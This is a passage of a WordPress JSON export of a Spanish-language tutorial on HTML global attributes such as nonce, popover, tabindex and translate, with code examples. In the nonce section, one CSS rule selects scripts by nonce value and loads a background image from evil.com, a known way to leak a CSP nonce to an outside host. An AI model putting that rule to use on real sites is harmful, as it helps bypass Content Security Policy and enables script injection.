nonce<\/span><\/h2>\nEl atributo nonce se utiliza en la Pol\u00edtica de seguridad de contenido (CSP) para permitir la ejecuci\u00f3n de ciertos scripts o estilos en l\u00ednea, lo que aumenta la seguridad al evitar la ejecuci\u00f3n de c\u00f3digo no autorizado.<\/p>\n
\r\n<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">\r\n\r\nscript[nonce~="whatever"] {\r\n background: url("https:\/\/evil.com\/nonce?whatever");\r\n}\r\n<\/pre>\nEn proyectos PHP 7+ para generar ‘nonce’ puedes usar la funci\u00f3n random_bytes(), cuyo resultado debe ser procesado base64_encode() o bin2hex():<\/p>\n
\r\n$nonce = base64_encode( random_bytes(128\/8) ); \/\/ base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw==\r\n$nonce = bin2hex( random_bytes(128\/8) ); \/\/ Hex string like: 8153dd199525aed568a27dfd31038e4b\r\n<\/pre>\npopover<\/span><\/h2>\nEl atributo popover no es un atributo global est\u00e1ndar en HTML. Puede hacer referencia a un atributo personalizado utilizado en ciertas bibliotecas o marcos para mostrar informaci\u00f3n adicional al pasar el cursor o hacer clic en un elemento.<\/p>\n
\r\n<button popovertarget="my-popover">\r\n Mostrar ventana emergente\r\n<\/button>\r\n<div id="my-popover" popover>\r\n <p>Soy un popover simple pero genial que se puede cerrar con el mismo bot\u00f3n<\/p>\r\n<\/div>\r\n<button popovertarget="my-popover" popovertargetaction="show">\r\n Mostrar ventana emergente\r\n<\/button>\r\n<div id="my-popover" popover>\r\n <button popovertarget="my-popover" popovertargetaction="hide">\r\n <span aria-hidden="true">\u274c<\/span>\r\n <span class="sr-only">Cerca<\/span>\r\n <\/button>\r\n <p>Soy un popover que no se puede cerrar con el mismo bot\u00f3n<\/p>\r\n<\/div>\r\n<\/pre>\nEn atributo popover hay dos significados: auto \u2014 valor predeterminado, no es necesario especificarlo expl\u00edcitamente. S\u00f3lo se muestra uno a la vez. La ventana emergente se puede cerrar haciendo clic fuera del elemento; manual \u2014 puedes mostrar varios al mismo tiempo. La ventana emergente no se puede cerrar haciendo clic fuera de ella.<\/p>\n\n
\r\n<button popovertarget="popover-auto">\r\n <code>popover="auto"<\/code>\r\n<\/button>\r\nInformaci\u00f3n sobre herramientas\r\n<div id="popover-auto" popover="auto">\r\n <p>Cierro otras ventanas emergentes. me cierro f\u00e1cilmente.<\/p>\r\n<\/div>\r\n<\/pre>\n\r\n<button popovertarget="popover-manual">\r\n <code>popover="manual"<\/code>\r\n<\/button>\r\nInformaci\u00f3n sobre herramientas\r\n<div id="popover-manual" popover="manual">\r\n <p>No cierro a los dem\u00e1s. No cerrar\u00e9 sin un bot\u00f3n.<\/p>\r\n<\/div>\r\n<\/pre>\nspellcheck<\/span><\/h2>\nEl atributo spellcheck determina si el navegador debe verificar el contenido del elemento en busca de errores ortogr\u00e1ficos y gramaticales. Indica al navegador que verifique si la ortograf\u00eda y la gram\u00e1tica del texto son correctas. Aunque el atributo se puede configurar en casi todos los elementos, el efecto s\u00f3lo se notar\u00e1 en los campos del formulario (input, textarea), as\u00ed como elementos editables (tienen el atributo establecido contenteditable). Depende de la configuraci\u00f3n del navegador.<\/p>\n
\r\n <p contenteditable="true" spellcheck="false">\r\nFirefox no desactiva la revisi\u00f3n ortogr\u00e1fica de los campos editables (que tienen el atributo establecido en contenteditable).\r\n <\/p>\r\n<\/pre>\nstyle<\/span><\/h2>\nEl atributo style se utiliza para aplicar estilos CSS en l\u00ednea directamente a un elemento HTML, lo que le permite cambiar el estilo de forma r\u00e1pida y precisa sin la necesidad de una hoja de estilo externa. Se aplica a las etiquetas a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.<\/p>\n
\r\n <p><span style="color: red; font-size: 2em">L<\/span>orem ipsum dolor \r\n sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt \r\n ut lacreet dolore magna aliguam erat volutpat.<\/p>\r\n<div style="width: 50%;"><\/div>\r\n<\/pre>\ntabindex<\/span><\/h2>\nEl atributo tabindex define el orden en el que un elemento recibe el foco cuando el usuario navega por la p\u00e1gina usando una tecla Tab. tabindex llamado as\u00ed por la clave Tab, que se mueven entre elementos interactivos. Esta acci\u00f3n tambi\u00e9n suele denominarse \u201ctab\u201d o \u201ctabulaci\u00f3n\u201d. Significado tabindex \u2014 cualquier n\u00famero entero negativo o positivo. Por ejemplo, 0, 1 o -1. 0 \u2014 elemento en orden secuencial de navegaci\u00f3n (o enfoque), pero el orden en s\u00ed lo determina el navegador. 1 u otro n\u00famero positivo: un elemento en el orden de navegaci\u00f3n sin la participaci\u00f3n del navegador. Cuanto mayor sea el valor, mayor ser\u00e1 el orden del elemento. -1 u otro n\u00famero negativo: se puede hacer clic en el elemento, pero no entra en el orden de navegaci\u00f3n secuencial. Es decir, no podr\u00e1s enfocarlo desde el teclado, aunque antes fuera posible. De forma predeterminada, todas las etiquetas en el orden de navegaci\u00f3n tienen un valor de 0. Esto a o area con atributo href, button, input, select, textarea, primer elemento summary adentro details, iframe y object.<\/p>\n
Si varios elementos tienen los mismos valores positivos, se enumeran en el orden en que aparecen en el c\u00f3digo. En este ejemplo, el foco estar\u00e1 primero en el enlace \u00abBigotes\u00bb, luego en las \u00abPatas\u00bb y luego en la \u00abCola\u00bb.<\/p>\n
\r\n<a href="#mustache" tabindex="1">Bigotes<\/a>\r\n<a href="#paws" tabindex="1">Patas<\/a>\r\n<a href="#tail" tabindex="1">Cola<\/a>\r\n<\/pre>\nCualquier elemento admite el foco si tiene tabindex<\/p>\n
\r\n<ul>\r\n <li tabindex="1">Uno<\/li>\r\n <li tabindex="0">Cero<\/li>\r\n <li tabindex="2">Dos<\/li>\r\n <li tabindex="-1">Menos uno<\/li>\r\n<\/ul>\r\n<style>\r\n li { cursor: pointer; }\r\n :focus { outline: 1px dashed green; }\r\n<\/style>\r\n<\/pre>\ntitle<\/span><\/h2>\nEl atributo title proporciona informaci\u00f3n adicional sobre un elemento, que generalmente se muestra como informaci\u00f3n sobre herramientas al pasar el mouse sobre el elemento. Agrega una informaci\u00f3n sobre herramientas con texto que aparece cuando pasa el cursor sobre un elemento. La apariencia de dicha informaci\u00f3n sobre herramientas depende de la configuraci\u00f3n del navegador y del sistema operativo y no se puede cambiar directamente utilizando c\u00f3digo o estilos HTML. Atributo alt utilizado para im\u00e1genes en etiquetas HTML img. Contiene texto alternativo que se muestra cuando la imagen no se carga por alg\u00fan motivo.<\/p>\n
\r\n<p title="Aqu\u00ed estoy!">Ejemplo de informaci\u00f3n sobre herramientas<\/p>\r\n<img alt="el gato se para sobre dos patas y mira por la ventana" src="enlace_a_imagen.jpg">\r\n<\/pre>\ntranslate<\/span><\/h2>\nEl atributo translate especifica si el contenido del elemento debe traducirse cuando se localiza la p\u00e1gina, lo que le brinda m\u00e1s control sobre el proceso de traducci\u00f3n. Atributo translate determina si el contenido de un elemento determinado se puede traducir o no. La traducci\u00f3n puede realizarse mediante varios servicios automatizados, como Google Translate.<\/p>\n
\r\n<p translate="no">Esto no debe ser traducido!<\/p>\r\n<p>Este texto se puede traducir a cualquier idioma.<\/p>\r\n<\/pre>\nEl atributo es tenido en cuenta por los sistemas de traducci\u00f3n
\n\n","protected":false},"excerpt":{"rendered":"
Se pueden especificar atributos globales para cualquier elemento HTML, incluso aquellos no especificados en el est\u00e1ndar. Esto significa que todos los elementos no est\u00e1ndar deben permitir estos atributos, incluso si el uso de estos elementos significa que el documento ya no es compatible con HTML.<\/p>\n","protected":false},"author":1,"featured_media":224,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,7],"tags":[111,110,109,108,107,106,105,104,103,102,101,100,99,98,97,96],"class_list":{"0":"post-223","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-htmlverstka","8":"category-programmirovanie","9":"tag-inert","10":"tag-inputmode","11":"tag-is","12":"tag-itemid","13":"tag-itemprop","14":"tag-itemref","15":"tag-itemscope","16":"tag-itemtype","17":"tag-lang","18":"tag-nonce","19":"tag-popover","20":"tag-spellcheck","21":"tag-style","22":"tag-tabindex","23":"tag-title","24":"tag-translate"},"_links":{"self":[{"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/posts\/223","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/comments?post=223"}],"version-history":[{"count":2,"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/posts\/223\/revisions"}],"predecessor-version":[{"id":273,"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/posts\/223\/revisions\/273"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/media\/224"}],"wp:attachment":[{"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/media?parent=223"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/categories?post=223"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/planeta21vek.ru\/elina732\/isp\/wp-json\/wp\/v2\/tags?post=223"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![](\"https:\/\/planeta21vek.ru\/elina732\/eng\/wp-content\/uploads\/2024\/10\/attribut141024.jpg\"\/)
<\/p>\n<\/p>\n